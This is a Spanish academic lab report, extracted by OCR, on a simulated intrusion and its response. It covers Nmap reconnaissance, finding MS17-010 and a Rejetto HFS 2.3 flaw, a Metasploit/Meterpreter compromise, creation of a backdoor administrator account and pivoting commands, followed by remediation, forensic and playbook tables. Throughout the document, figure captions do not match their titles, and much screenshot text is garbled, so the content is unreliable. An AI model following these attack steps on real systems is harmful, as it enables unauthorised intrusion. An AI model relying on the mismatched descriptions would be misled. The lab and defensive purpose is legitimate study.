o Técnicas: Redactar un informe técnico para el equipo de T1 y un informe ejecutivo
para la gerencia.

o Analogia: Entregarle al gerente del banco un informe con fotos de la puerta que
abriste y las instrucciones de como instalar una cerradura mejor.

Figura 1

Direccion IP Parrot

Nota. La figura 1 muestra la salida del comando ip addr ejecutado en una terminal Parrot OS,
donde se visualizan las interfaces de red disponibles. Se identifica la interfaz de loopback (lo) y la

interfaz de red activa (enp0s3), la cual cuenta con una direccion [Pv4 asignada dindmicamente



30

(192.168.1.21/24), indicando conectividad activa dentro de una red local. Autoria propia

Figura 2
Direccion IP Windows Host A

—
| § Win7-HOST A [Corriendo] -... - 0

»

Firefox d‘e

76011
yrporation. Reserus todos los derechos.

Panel de control

:feal:9418x11

758F-EDBA-47F3-9DCF-4BC1D7C16

- = medios d

Nota. La figura muestra la salida del comando ipconfig ejecutado en un equipo con Windows 7,
donde se detallan las configuraciones de red de los adaptadores disponibles. Se identifican
direcciones IPv4 asignadas, mascaras de subred y puertas de enlace predeterminadas, evidenciando

la conectividad activa del host dentro de una red local. Autoria propia.
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Figura 3
Direccion IP Windows Host B

»

H K

Firefox usuario

Administrador: C:\Windows\system32\cmd.exe (o ® )=

Microsoft Windows [Uersion 6.1.76011]
Copyright <{c> 208? Microsoft Corporation. Reservados todos los derechos.

C:\Users\usuario>ipconfiyg

Conf iguracion IP de Windows

fidaptador de Ethernet Conexién de Area local:

Sufijo DNS especifico para la conexidén. .
Uinculo: direccidon IPv6 local. . . = fe8B::4842:9ced4:4e38:7898x11

Diveccidn IPV4. & & = = & = = = = & & » = 10.8.2.7

Mascara de subred . . . . « +« & & =« o = =« 255.255.255.8
Puerta de enlace predeterminada . . . . . 16.8.2.1

C:\Users\usuario>

Nota. La figura presenta la ejecucion del comando ipconfig en el equipo Win7-Host B, donde se
muestra la configuracion de red del adaptador Ethernet. Se observa una direccion IPv4 asignada
(10.0.2.7/24) y la puerta de enlace predeterminada (10.0.2.1), lo que confirma la correcta conexion

del host dentro de la red configurada en el entorno virtual. Autoria propia.
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Figura 4

Firewalls
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Ventana principal del Panel de

et Ayude a proteger su equipo con Firewall de Windows

Firewall de Windows ayuda a impedir que hackers o software malintencionadoe obtengan acceso al

Permitis un programa o una equipo 2 través de Internet o de una red.

caracteristica a través de
Firewall de Windows {Cémo me ayuda un firewall 2 proteger mi equipo?

#' Cambiar la configuracién de iQué son las ubicaciones de red?
notificaciones

57 Activar o desactivar Firewall de Actuslizar configuracion de firowall

Wind i 5 =
indows Firewall der‘{\ﬁndows no estd usando la I ) Usar la configuracién recomendada
E\u Restaurar valores configuracién recomendada para proteger el
predeterminados squIpo.
\_5) Configuracién avanzada :Cudl es la configuracién recomendada?
Solucion de problemas de red
. ‘@ Redes domésticas o de trabajo (privadas) No conectado (¥ |
. &9 Redes pblicas Conectado (&)
Redes en lugares publicos como aeropuertos o cafeterias
Estado de Firewall de Windows: Desactivade
Conexiones entrantes: Bloguear todas las conexiones a los programas
que no estén en la lista de programas permitidos
Redes publicas activas: ™ Red s
Vea también
. ™ Red3
Centro de actividades
Centro de redes y recursos Estado de notificacion: Notificarme cuando Firewall de Windows
compartidos bloquee un nuevo programa

Nota. El cuadro muestra la configuracion del Firewall de Windows en el equipo Win7-Host A,
donde se evidencia que el firewall se encuentra desactivado, tanto para redes privadas como
publicas, lo que representa un riesgo de seguridad al permitir accesos no controlados al sistema.

Autoria propia.
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Figura §

Firewalls

earch Terminal Help

Nota. La figura muestra la instalacion y verificacion de la herramienta Nmap en el sistema Parrot
OS, evidenciando que la aplicacion ya se encuentra instalada y actualizada. Ademads, se confirma
la version de Nmap y su correcta disponibilidad para realizar tareas de analisis y escaneo de red.

Autoria propia



34

Figura 6

Codigo Nmap

Terminal

Nota. La figura ilustra la ejecucion de un escaneo de vulnerabilidades mediante la herramienta
Nmap en un entorno de Parrot OS, dirigida al dominio scanme.nmap.org. En los resultados se
detallan puertos abiertos como el 22 (SSH) y el 80 (HTTP), especificando versiones de software
y llaves de cifrado sobre un sistema Linux. Esta captura evidencia la fase de reconocimiento
técnico, permitiendo identificar servicios activos y posibles vectores de entrada en una auditoria

de red. Autoria propia.



35

Figura 7

Vulnerabilidades

Parrot Terminal

Nota. La figura muestra un escaneo de puertos sigiloso (-sS) y de deteccion de versiones (-sV)
realizado con Nmap sobre la direccion IP local 192.168.1.23. Los resultados revelan un sistema
operativo Windows con multiples servicios activos, destacando puertos comunes como el 135
(RPC), 139 (NetBIOS) y 445 (SMB), tipicos de entornos de red de Microsoft. Adicionalmente, se
identifica una direccion MAC de Oracle VirtualBox, lo que indica que el objetivo es una maquina

virtualizada dentro de la red. Autoria propia.
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Figura 8

Comando Metasploit

Parrot Ter

Search Terminal Help

. oo 1o o o 2o 2070010 70 70 70 70 707
oo do Kook : April 25, 1848 % y
%% 6% %% : It's always cool in the lab
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All the thing

Press SPACE BAR to continue

Nota. Esta figura detalla un escaneo de puertos SYN (-sS) y de servicios (-sV) mediante Nmap
sobre el host local 192.168.1.23 dentro de una terminal Parrot. Los resultados exponen un sistema
operativo Windows con servicios criticos activos como RPC (puerto 135), NetBIOS (puerto 139)
y SMB (puerto 445), ademas de multiples puertos dindmicos de Microsoft. La presencia de una
direccion MAC de Oracle VirtualBox confirma que el objetivo es una maquina virtual, facilitando

la identificacion de vectores de ataque especificos para ese entorno. Autoria propia.
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Figura 9

Pentesting

Nota. En esta imagen se visualiza un banner artistico generado por el comando cowsay++ dentro
de la terminal, seguido por la informacion técnica de Metasploit Framework. La pantalla reitera la
disponibilidad de recursos de explotacion, como los 2529 exploits y 9 modulos de evasion,
manteniendo la consistencia con la version v6.4.71-dev. Esta representacion combina elementos
visuales personalizados del sistema Parrot OS con el resumen de herramientas listas para ser

configuradas contra un objetivo. Autoria propia.
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Figura 10

Firewall
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caracteristica a través de ¢{Como me ayuda un firewall a proteger mi equipo?

Firewall de Windows :Qué son las ubicaciones de red?

# Cambiar la configuracién de

notificaciones Actualizar configuracion de firewall
® Activar o desactivar Firewall de Firewall de Windows no esta @ . .
= - 3 %' Usar la configuracion rec
Windows usando la configuracién [ u 9
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m
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. @5 Redes domésticas o det.. No conectado (¥

l %) Redes publicas Conectado (4)
Redes en lugares publicos como aeropuertos o cafeterias

Estado de Firewall de Windows: Desactivado
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Nota. La figura muestra la interfaz de configuracion del Firewall de Windows en un sistema
operativo Windows 7, donde se observa que el estado de proteccion estd desactivado. Las alertas
en rojo indican que el equipo no esté utilizando la configuracion recomendada, lo que permite
conexiones entrantes sin restricciones en redes publicas. Esta vulnerabilidad de configuracion
explica por qué el escaneo de Nmap de la Figura 1 pudo identificar tantos servicios abiertos y

versiones de software sin bloqueo previo. Autoria propia.
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Figura 11

Direccion IP de la Maquina Victima con Windows 7

BN Administrador: C:\Windows\system32\cmd.exe o[-

Microsoft Windows [Version 6.1.76011
Copyright <(c) 20089 Microsoft Corporation. Reservados todos los derechos.

C:\Userssusuario>ipconfig

Configuracion IP de Windows

daptador de Ethernet Conexidn de area local 2:

Sufijo DNS e:s »ifico para la conexién. .

Uinculo: dire ion IPvb local. . . : fa:ﬂﬂ:;9d95:1fa9:22ﬂﬂillﬂlh'/,i3

Direccidén IPv4. . . . . . B
Mascara de subred . . . . . . . . . . . .
Puerta de enlace predeterminada . . . . .

Ndaptador de Ethernet Conexidén de Area local:

Sufijo DNS ecifico para la conexidén. . :
Uinculo: ire ién IPub local. : FeBB::4842:9ce4:4e38:7898:11

i ion TPvd. Tl T T D A . - R LIS

Aascara de subred . . . . . . . . . . . . : 255.255.255.9

Puerta de enlace predeternminada e =« « = feBO::2e96:82ffF:feal:=9418211
192.168.1.1

daptador de tidnel isatap.{5BESBED2-9B84-4799-BEB3-D289D73C2468) :

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especifico para la conexion. . :

Adaptador de tidnel isatap.{6596750F-EDBA-47F3-9DCF-4BC1D?C169CE>:

« « : medios desconectados

Estado de los medios. . . . . . . .
Sufijo DNS especifico para la conexidn. .

C:\Userssusuario?_

Nota. La captura muestra la ejecucion del comando ipconfig en el simbolo del sistema (CMD) de
Windows para verificar la configuracion de red del equipo objetivo. Se confirma que el adaptador
de Ethernet tiene asignada la direccion IPv4 192.168.1.23, coincidiendo exactamente con el
objetivo del escaneo realizado en la Figura 1. Esta informacion técnica es fundamental para validar
la conectividad del host y asegurar que las pruebas de seguridad se dirijan a la interfaz de red

correcta. Autoria propia.
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Figura 12

Ping a Windows

Parrot Terminal

Search Terminal Help

0t

Nota. Esta imagen ilustra la ejecucion del comando sudo ping 192.168.1.23 desde el usuario johan
en la terminal de Parrot OS para verificar la latencia de red. Los resultados muestran cinco paquetes
transmitidos y recibidos con un 0% de pérdida, confirmando que el host objetivo estd activo y

responde a peticiones ICMP. Esta comprobacion de conectividad bésica es el paso previo esencial
antes de proceder con el escaneo de puertos detallado o cualquier intento de explotacion. Autoria

propia.
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Figura 13

Descompresion de Programa Rejjeto para las Pruebas de RCE
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Nota. La imagen muestra el resultado de un script de Nmap identificando la vulnerabilidad critica
MS17-010 (EternalBlue) en el servicio SMB del host 192.168.1.23. Se resalta en verde que el

sistema operativo Windows es vulnerable a la ejecucion remota de codigo con un factor de riesgo
alto. Esta informacion técnica es fundamental para comprender como un atacante podria tomar el

control total del equipo sin necesidad de credenciales. Autoria propia.
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Apertura de Programa Rejjeto para Inicio de Pruebas.
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Nota. Esta captura detalla el uso del script http-method-tamper de Nmap, el cual detecta una
vulnerabilidad de omision de autenticacion en el puerto 80 del objetivo. El reporte indica que

recursos protegidos por contrasefia son accesibles mediante la manipulacion de verbos HTTP
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debido a una mala configuracion en archivos .htaccess. Se identifica especificamente la ruta

/~login como un punto sospechoso que permite el acceso no autorizado a funciones del servidor.

Autoria propia.
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Figura 15

Vista de la Interfaz del Programa Rejjeto HFS.

{2 HFS ~ HTTP File Server 2.3 Build 288 [fo @] s
& Menu ﬁ? Port: 80 ! @ You are in Easy mode
E Open in browser http://192.168.1.23/ 1) Copy to clipboard
Virtual File System [ Log
:
| 48 P address 1 File Status Speed Time.. Progress
i
Out:00KB/s In:0.0 KB/s
€l Red
hfs Fecha de modifica... 16/02/2014 07:58 a.m. Fecha de creacion: 28/11/2020 10:49 a.m.
Aplicacion Tamanio: 742 KB

Nota. Se visualiza la interfaz grafica de HFS (HTTP File Server) version 2.3 ejecutdndose en el
sistema Windows del equipo objetivo. La aplicacion estd configurada en el puerto 80 y muestra un
sistema de archivos virtual actualmente vacio, listo para compartir carpetas en la red. El registro
de actividad y la lista de direcciones IP conectadas permiten al administrador monitorear en tiempo

real quién accede a los archivos compartidos. Autoria propia.
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Figura 16

Inicio de Nmap a la IP del Host Victima para Escaneo de Puertos.

arrot Terminal

Search Terminal Hel

Nota. La imagen ilustra el proceso de extraccion de un archivo comprimido llamado

Rejjeto 123456.zip en el escritorio de un sistema Windows 7. Se observa una ventana de didlogo
solicitando la contrasefia "123456" para descomprimir el ejecutable hfs.exe contenido en el
paquete. Este paso es tipico en la instalacion manual de herramientas de servidor que

posteriormente seran analizadas o explotadas en un entorno de laboratorio. Autoria propia.
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Figura 17
Hallazgo de Puerto 80 Vulnerable con el Servicio HttpFileServer 2.3 Corriendo.

o0
File Edit View S 1 Terminal Help

8@/tcp  open http HttpFileServer httpd 2.3

Nota. Esta captura muestra una busqueda en el sitio web Exploit Database para el software
"HttpFileServer 2.3", arrojando un resultado positivo de explotacion. Se identifica un exploit
especifico para Windows que permite la ejecucion remota de comandos (RCE), publicado por el
autor Oscar Andreu. Este hallazgo confirma que la version de HFS instalada en el objetivo posee

una vulnerabilidad publica conocida que puede ser aprovechada.
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Figura 18

Hallazgo de Vulnerabilidad de Puerto 80 Servicio HttpFileServer 2.3 (Explotable).

Terminal Help

PORT STATE SERVICE
8e/tcp open http
| http-method-tamper:
|  VULNERABLE:
Authentication bypass by HTTP verb tampering
State: VULNERABLE (Exploitable)

vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the

|
|
| This web server contains password protected resources vulnerable to authentication bypass
I
| common HTTP methods and in misconfigured .htaccess files.

Nota. La imagen presenta una variante del escaneo de Nmap que confirma nuevamente la

vulnerabilidad MS17-010 en el puerto 445 del host objetivo. El reporte técnico incluye referencias
directas a la base de datos de Mitre (CVE-2017-0143) y boletines de seguridad de Microsoft que
documentan el fallo. Esta evidencia es concluyente para priorizar la remediacion del servicio SMB

antes de que el equipo sea comprometido por malware tipo ransomware. Autoria propia.
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Figura 19

Vulnerabilidad RCW en SMBvI con CVE-2017-0143

0o
File Edit Vie

smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBvl
servers (ms17-010).

Nota. Esta imagen muestra la ejecucion de un escaneo agresivo (-A) mediante Nmap sobre el
dominio scanme.nmap.org desde una terminal Parrot OS. Los resultados detallan puertos abiertos
como el 22 (SSH) y el 80 (Apache), incluyendo llaves de cifrado y versiones especificas de
software. La captura permite identificar la topologia y los servicios activos de un servidor externo

para fines de auditoria legal. Autoria propia.
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Figura 20

Revision de Base de Datos de Exploits sobre Servicio HttpFileServer 2.3.
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Nota. La captura ilustra un escaneo de puertos y servicios sobre la direccion IP 192.168.1.23,
identificando un entorno Microsoft Windows. Se observan servicios activos como RPC, NetBIOS
y SMB (puerto 445), junto con una direccion MAC que indica el uso de Oracle VirtualBox. Este
informe técnico es crucial para determinar la superficie de ataque de una maquina virtual dentro

de una red local. Autoria propia.
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Figura 21

Apertura de Herramienta Metasploit para Explotacion de Vulnerabilidad.

Nota. En esta imagen se visualiza el inicio de la consola de Metasploit Framework (msfconsole)
en su version v6.4.71-dev. El sistema despliega un resumen de recursos disponibles, destacando
2529 exploits, 1302 moddulos auxiliares y 1669 payloads para pruebas de seguridad. La terminal
confirma que el framework esta cargado y listo para iniciar la fase de explotacion sobre un objetivo

configurado. Autoria propia.
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Figura 22

Aplicacion Metasploit Corriendo.

Nota. La imagen presenta el resultado de un script de Nmap confirmando que el host 192.168.1.23

es vulnerable al fallo critico de seguridad MS17-010. El reporte técnico resalta en verde el estado
"VULNERABLE", vinculandolo directamente con la ejecucion remota de codigo y el identificador
CVE-2017-0143. Esta evidencia es fundamental para justificar la necesidad inmediata de parches

de seguridad en el servicio SMB del equipo. Autoria propia.
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Figura 23

Busqueda con Comando “Search’ de Exploits para “HFS” y Uso de Modulo 4.

Nota. Se observa una consulta en el portal Exploit Database dirigida a la aplicacion
"HttpFileServer 2.3", arrojando un exploit verificado para Windows. El resultado indica una
vulnerabilidad de ejecucion remota de comandos (RCE) que afecta a la plataforma detectada
previamente en los escaneos. Esta correlacion de datos permite al auditor de seguridad seleccionar

la herramienta precisa para demostrar el riesgo de compromiso del sistema. Autoria propia.
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Figura 24

Vista de Configuracion para Establecer Parametros al Exploit.

Nota. La captura muestra el uso del comando ipconfig en una consola CMD de Windows para

validar la identidad de red del equipo evaluado. Se confirma que la direccion IPv4 asignada es la
192.168.1.23, estableciendo la correspondencia exacta con los ataques y escaneos realizados desde
Parrot OS. Esta validacion técnica asegura que las actividades de penetracion se estan ejecutando

sobre el activo correcto dentro del laboratorio. Autoria propia.
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Figura 25

Establecimiento de Host Victima y Comando para Iniciar el Exploit.

Search Terminal Help

Nota. La imagen muestra el explorador de archivos de Windows dentro del directorio de descargas,
donde se gestiona el ejecutable de HFS (HTTP File Server). Se observa el ment contextual
desplegado sobre la aplicacion, permitiendo su ejecucion como administrador para habilitar el
servicio de servidor de archivos. Esta etapa es critica en la configuracion del entorno, ya que
establece el servicio que posteriormente serd analizado en busca de vulnerabilidades de red.

Autoria propia.
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Figura 26

Explotacion Exitosa y Conexion a Equipo Remotamente, Uso de Comando de “Sysinfo”

Parrot Terminal

Nota. En esta captura se aprecia la ejecucion del comando sudo ping 192.168.1.23 desde la
terminal de Parrot OS para verificar la respuesta del host objetivo. Los resultados indican una
latencia promedio de 1.8 ms y un 0% de pérdida de paquetes, confirmando una conexion estable
y activa entre el atacante y la victima. Este paso es fundamental para asegurar que los scripts de

Nmap y los médulos de Metasploit funcionen correctamente sobre la red. Autoria propia.



55

Figura 27

Usamos el Payload para Cargar Meterpreter”

Nota. La terminal muestra el uso del script http-method-tamper de Nmap, detectando una
vulnerabilidad de omision de autenticacion en el servidor web del objetivo. El reporte identifica
que es posible acceder a recursos protegidos mediante la manipulacion de verbos HTTP, sehalando
especificamente la ruta /~login como explotable. Esta informacion permite al auditor comprender
cémo una configuracion deficiente en los archivos de control de acceso compromete la seguridad

del servidor. Autoria propia.
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Figura 28

Usamos el Payload para Cargar Meterpreter”
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Nota. Esta imagen resalta un escaneo de Nmap enfocado en el puerto 445, confirmando que el
servicio Microsoft-DS es vulnerable a la ejecucion remota de codigo. El analisis identifica el fallo
MS17-010 (CVE-2017-0143), conocido por ser el vector de ataque principal del ransomware
WannaCry. La deteccion exitosa de esta vulnerabilidad en el laboratorio técnico justifica el uso de

exploits especificos dentro del framework Metasploit para demostrar el riesgo. Autoria propia.



57

Figura 29

Configuracion del Pivote (Tunel)”

-
user's HDII % ]

README lic

password

Nota. Se visualiza el entorno de trabajo del usuario root en Parrot OS al iniciar la herramienta
msfconsole, mostrando un banner artistico y estadisticas de la version v6.4.71-dev. La terminal
confirma la carga de miles de exploits y modulos auxiliares, indicando que el sistema de pruebas
de penetracion esta totalmente operativo. Este estado de preparacion es el punto de partida para
configurar el payload que aprovechara las vulnerabilidades detectadas en los pasos previos.

Autoria propia.
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Figura 30

Atacar el HOST B”

Nota. En la imagen se observa la ejecucion de un escaneo de red agresivo mediante el comando
nmap -A -T4 dirigido al dominio scanme.nmap.org desde una terminal Parrot OS. Los resultados
muestran puertos abiertos como el 22 (SSH) y el 80 (HTTP), detallando versiones de software
como OpenSSH 6.6.1p1 y Apache 2.4.7. También se identifican servicios adicionales en los
puertos 9929 y 31337, mientras que el puerto 161 aparece como filtrado por un firewall. Esta
captura documenta la fase de reconocimiento técnico inicial sobre un sistema Linux para

identificar posibles vectores de entrada y configuraciones del host. Autoria propia.
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Figura 31

Atacar el HOST B”

=1 Parrot Terminal

Nota. En la terminal de Parrot OS se ejecuta un escaneo agresivo con Nmap sobre el host
scanme.nmap.org, revelando servicios activos en los puertos 22 y 80 con versiones de OpenSSH
y Apache. El reporte técnico detalla las llaves de cifrado SSH y detecta puertos adicionales
abiertos, como el 9929 y el 31337, bajo un sistema operativo basado en Linux. Esta captura de
pantalla documenta el proceso de recoleccion de informacion y enumeracion de servicios

necesarios para identificar posibles vulnerabilidades en un servidor remoto. Autoria propia.
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Figura 32

Atacar el HOST B”

1) (C:\Usexs\usuario\Downloads l

= Parrot Terminal

Nota. La imagen muestra un escaneo de puertos y servicios realizado con Nmap sobre la direccion
IP local 192.168.1.23, identificando un sistema operativo Microsoft Windows. Los resultados
revelan multiples puertos abiertos, incluyendo el 135 (RPC), 139 (netbios-ssn) y 445 (microsoft-
ds), ademas de diversos puertos dindmicos de Windows. La presencia de una direccion MAC
asociada a Oracle VirtualBox confirma que el objetivo es una maquina virtualizada dentro de un
entorno de red controlado. Esta captura es fundamental para documentar la enumeracion de
servicios criticos y la identificacion de la plataforma antes de proceder con pruebas de

vulnerabilidad especificas. Autoria propia.
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Figura 33

Acceso Exitoso al HOST B”
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Nota. La imagen muestra un escaneo de puertos y servicios realizado con Nmap sobre la direccion
IP local 192.168.1.23, identificando un sistema operativo Microsoft Windows. Los resultados
revelan multiples puertos abiertos, incluyendo el 135 (RPC), 139 (netbios-ssn) y 445 (microsoft-
ds), ademas de diversos puertos dindmicos de Windows. La presencia de una direccion MAC
asociada a Oracle VirtualBox confirma que el objetivo es una méaquina virtualizada dentro de un
entorno de red controlado. Esta captura es fundamental para documentar la enumeracion de
servicios criticos y la identificacion de la plataforma antes de realizar pruebas de vulnerabilidad.

Autoria propia.
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Figura 34
Comando Shell para Ejecutar Comandos de Sistema en la Maquina Victima y Vista de Usuario

del Sistema.

\usuario‘\Downloads

Nota. En la terminal de Parrot OS se observa la ejecucion de la herramienta msfconsole,
perteneciente al framework de explotacion Metasploit en su version v6.4.71-dev. La interfaz
despliega un resumen estadistico que incluye 2529 exploits, 1302 modulos auxiliares y 1669
payloads listos para ser configurados y utilizados en pruebas de penetracion. El sistema confirma
que el framework se ha cargado correctamente, quedando a la espera de comandos para iniciar la
fase de explotacion sobre un objetivo. Esta captura documenta el entorno de trabajo preparado para
validar vulnerabilidades de seguridad previamente identificadas durante el escaneo de red.

Autoria propia.
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Figura 35

Usuario y Contraseiia Administrador.

Search Terminal Help

Nota. La imagen muestra la interfaz de configuracion del Firewall de Windows en un sistema
operativo Windows 7, donde se indica claramente que el estado de proteccion esta desactivado.
Las alertas en color rojo sefialan que el equipo no esté utilizando la configuracién recomendada,
dejando las redes domésticas y publicas sin un filtro de seguridad activo. Esta configuracion es
intencional en un entorno de laboratorio para permitir que los escaneos y exploits de red se ejecuten
sin bloqueos por parte del sistema operativo. La captura sirve como evidencia de la preparacion
del equipo objetivo para facilitar la deteccion de servicios y vulnerabilidades durante las pruebas

de seguridad. Autoria propia.
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Figura 36

Vista desde Windows 7 de Cuenta Creada desde Parrot.
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Nota. La imagen muestra una ventana del simbolo del sistema (CMD) ejecutando el comando
ipconfig dentro de un sistema operativo Windows para verificar los parametros de red. Se confirma
que el adaptador de Ethernet tiene asignada la direccion IPv4 192.168.1.23 con una mascara de
subred de clase C, identificando de forma tinica al equipo en el segmento local. Esta validacion es
un paso esencial en el laboratorio para garantizar que la direccion IP del objetivo coincida con los
ataques y escaneos realizados desde la maquina atacante. La captura documenta la identidad de
red del host antes de proceder con las pruebas de penetracion y explotacion de vulnerabilidades.

Autoria propia.
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Figura 37
Cierre de Sesion en Maquina Parrot después de la Creacion del Usuario Administrador por

RCE en Vulnerabilidad de HttpFileServer 2.3 de Rejjeto.

# Parrot Terminal

Nota. En la terminal de Parrot OS se ejecuta el comando sudo ping 192.168.1.23 para validar la
comunicacion directa con el equipo objetivo antes de iniciar la fase de ataque. El reporte indica
que se enviaron y recibieron cinco paquetes ICMP de 64 bytes cada uno, logrando un tiempo de
respuesta promedio de 1.8 milisegundos. Se confirma un 0% de pérdida de paquetes, lo cual
garantiza que la red est4 operativa y que no existen bloqueos que impidan el trafico de datos entre
ambas maquinas. Esta captura de pantalla es indispensable para documentar la estabilidad de la

conexion en el entorno de pruebas controlado. Autoria propia.
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Operacion Defensiva - Blue Teaming

Deteccion del Incidente

El equipo Blue Team inicid sus operaciones tras la deteccion de indicadores de
compromiso (IoC) en la red. Se observo trafico anémalo en el puerto 445 y conexiones salientes
no autorizadas desde el servidor web hacia una direccion IP externa desconocida, lo cual alertd
sobre una posible exfiltracion de datos o comando y control activo.
Estrategia de Contencion Inmediata

Ante la confirmacion de la intrusion, que involucrd RCE via vulnerabilidades de software
y protocolo SMB, se activaron los protocolos de respuesta a incidentes. Las medidas de contencion
inmediata buscaron aislar la amenaza para prevenir la propagacion del ataque a otros activos
criticos de SecureNova Labs.
Acciones de Contencion

Aislamiento de Red: Se procedi6 al bloqueo inmediato de los puertos 445 y 80 en el
Firewall perimetral y a nivel de host.

Cierre de Sesiones: Se realizo la terminacion forzada de los procesos sospechosos
asociados a la sesién de Meterpreter.
Erradicacion y Anadlisis Forense

El analisis forense posterior a la contencion revelo la persistencia del atacante en el sistema.
Se identific la creacion de una cuenta de usuario local con privilegios administrativos, utilizada

como puerta trasera (backdoor) para mantener el acceso en caso de reinicio del sistema.
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Estrategias de Endurecimiento y Mitigacion Plan de Remediacion
Para garantizar que el incidente no se repita y elevar el nivel de seguridad de la
infraestructura, se propone el siguiente plan de remediacion basado en el andlisis de causa raiz.
Tabla 2

Plan de Remediacion de Vulnerabilidades Criticas

Vulnerabilidad Accién de Mitigacion Prioridad
MS17-010 Deshabilitar protocolo SMBv1 y aplicar parche de Critica
(EternalBlue) seguridad MS17-010.

Rejetto HFS RCE Desinstalar software obsoleto y migrar a servidor web Alta
seguro (IIS/Apache).

Cuentas Locales Aplicar principio de minimo privilegio y auditoria de Media
usuarios.

Nota. La tabla detalla el plan de remediacion para las vulnerabilidades criticas detectadas,
asociando cada fallo con una accion de mitigacion especifica y su nivel de prioridad. Se prioriza
de forma critica la correccion del fallo MS17-010 mediante el parcheo de SMBv1, seguido de la
migracion del software Rejetto HFS por riesgos de ejecucion remota de cddigo. Finalmente, se
aborda la seguridad de las cuentas locales a través de la aplicacion del principio de minimo
privilegio y auditorias constantes. Esta estructura permite organizar las medidas correctivas
necesarias para fortalecer la seguridad del sistema evaluado en el laboratorio. Autoria propia.
Aplicacion de CIS Benchmarks

Se recomienda la adopcion formal de los CIS Controls y CIS Benchmarks para asegurar la

configuracion de los sistemas operativos.
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Control 1 (Inventario de Activos): Mantener un registro actualizado hubiera facilitado la
identificacion del host vulnerable.

Control 2 (Inventario de Software): Habria permitido detectar la instalacion no
autorizada del software HFS.

Control 3 (Gestion de Vulnerabilidades): La ejecucion continua de escaneos habria
alertado sobre la falta de parches criticos.
Fase de Post-Explotacion y Escalada de Privilegios

Una vez obtenida la sesion de Meterpreter, se procedié a enumerar el sistema
comprometido.

Comandos de reconocimiento interno:

J Sysinfo: Para obtener informacion del OS y arquitectura.
o Getuid: Para ver con qué usuario estamos corriendo.
o Para lograr persistencia y control total, se realiz6 una escalada de privilegios

utilizando técnicas locales o el comando getsystem de Meterpreter, logrando acceso como NT
AUTHORITY\SYSTEM.
Movimiento Lateral (Pivoting)

El Pivoting es la técnica de utilizar un sistema comprometido para atacar otros sistemas en
la misma red o en redes diferentes a las que el atacante no tiene acceso directo.

Configuracion del Tunel:

1. En la sesion de Meterpreter del Host-A, se agregd una ruta a la red interna: run
autoroute - s 192.168.X.0/24.

2. Se configur6 un servidor proxy SOCKS en Metasploit

(auxiliary/server/socks proxy)
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3. Esto permiti6 enrutar el trafico de herramientas externas a través del tinel creado
en el Host-A hacia el Host-B.

4. Respuesta ante Incidentes: Contencion, Erradicacion y Recuperacionl detectarse
el ataque simulado en la Fase 3, se activo el protocolo de respuesta.

5. Indagacion Inicial: Lo primero que se debe hacer ante un ataque en tiempo real es
validar el vector de entrada. Se revisan los logs para identificar conexiones al puerto 445 (SMB) y
80 (HTTP) desde IPs externas.

6. Contencion:

Red: Bloqueo de la IP atacante en el firewall perimetral.

Host: Desconexion del cable de red (o vNIC) del equipo afectado para evitar la
propagacion del Pivoting.

Erradicacion: Se identificod que el atacante cred un usuario llamado "Johan Rojas" para
mantener acceso. Comando de erradicacion: net user "Johan Rojas" /delete. También se procedid
a "matar" los procesos extrafios asociados a HFS y Meterpreter mediante el Administrador de
Tareas o linea de comandos (taskkill).

Protocolos de Analisis Forense Digital Artefactos de Persistencia en Windows

Una vez contenido el ataque, la labor forense se centra en descubrir qué cambios realizo el
intruso para mantener el acceso. En el caso simulado, se identificaron modificaciones en el registro
y creacion de usuarios. Los artefactos criticos a revisar incluyen:

Llaves de Registro Run/RunOnce

HKLM\Software\Microsoft\Windows\CurrentVersion\Run. Es comun que el malware
anada entradas aqui para iniciarse con el sistema.

Tareas Programadas: Revision mediante schtasks para identificar tareas creadas en
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horarios anémalos.

Carpeta de Inicio (Startup): Verificacion de scripts .bat o ejecutables .exe en
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
Analisis de Logs (Event IDs Criticos)

El Visor de Eventos de Windows es la fuente primaria de evidencia. Durante la
investigacion, se deben filtrar los siguientes IDs de Seguridad:
Tabla 3

Eventos de Seguridad Criticos (Windows)

Event ID Descripcion Relevancia Forense

4624  Inicio de sesion exitoso.  Permite ver quién ingreso y desde qué IP (Network
Logon Type 3).

4625  Inicio de sesion fallido.  Multiples eventos indican ataque de fuerza bruta.

4720  Cuenta de usuario creada. Critico: Evidencia la creacion del usuario malicioso

"Johan Rojas".

4688  Nuevo proceso creado. Muestra la ejecucion de hfs.exe o cmd.exe con
argumentos sospechosos.

7045  Servicio instalado. Indica si el atacante instal6 una herramienta como

servicio (ej. Psexec).

Nota. La tabla presenta un desglose de los identificadores de eventos (Event ID) de Windows y su
relevancia para el analisis forense tras el incidente de seguridad. Se destacan los eventos 4624 y

4625 para rastrear accesos, asi como el ID 4720, el cual resulta critico al documentar la creacion
del usuario malicioso "Johan Rojas" en el sistema. Asimismo, se incluyen los registros 4688 y

7045 para evidenciar la ejecucion de procesos sospechosos como hfs.exe y la instalacion de
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servicios persistentes por parte del atacante. Esta relacion de eventos constituye el pilar
fundamental para reconstruir la linea de tiempo y las acciones ejecutadas durante el compromiso
del equipo. Autoria propia.

Tabla 4

Playbook de Respuesta ante RCE

Fase Accion Responsable

1. Identificacion Confirmar alertas de SIEM sobre trafico a puertos inusuales o Analista SOC N1
procesos hijos de servidores web (ej. w3wp.exe lanzando cmd.exe).

2. Contencién Aislar el host de la red mediante EDR. No apagar el Analista SOC N2
equipo (para preservar RAM). Bloquear IPs atacantes

en Firewall Perimetral.

3. Erradicacion Eliminar binarios maliciosos, borrar llaves de persistencia'y Admin de Sistemas /
restablecer contrasefias de cuentas comprometidas. Parchar la
vulnerabilidad. Blue Team

4. Recuperacion Restaurar datos desde copias de seguridad limpias (si Admin de Sistemas
hubo ransomware). Reiniciar servicios y monitorear por 48h.

5. Lecciones Documentar el incidente, actualizar firmas de IDS y mejorar el planCISO / Gerente TI

de hardening.

Nota: Esta tabla detalla las etapas del ciclo de vida de respuesta a incidentes, estableciendo
acciones concretas y responsabilidades para cada fase del proceso. Desde la identificacion inicial
por el analista SOC hasta la recuperacion del sistema y la documentacion de lecciones aprendidas,
se define un flujo de trabajo estructurado para mitigar el impacto de un ataque. Se enfatizan
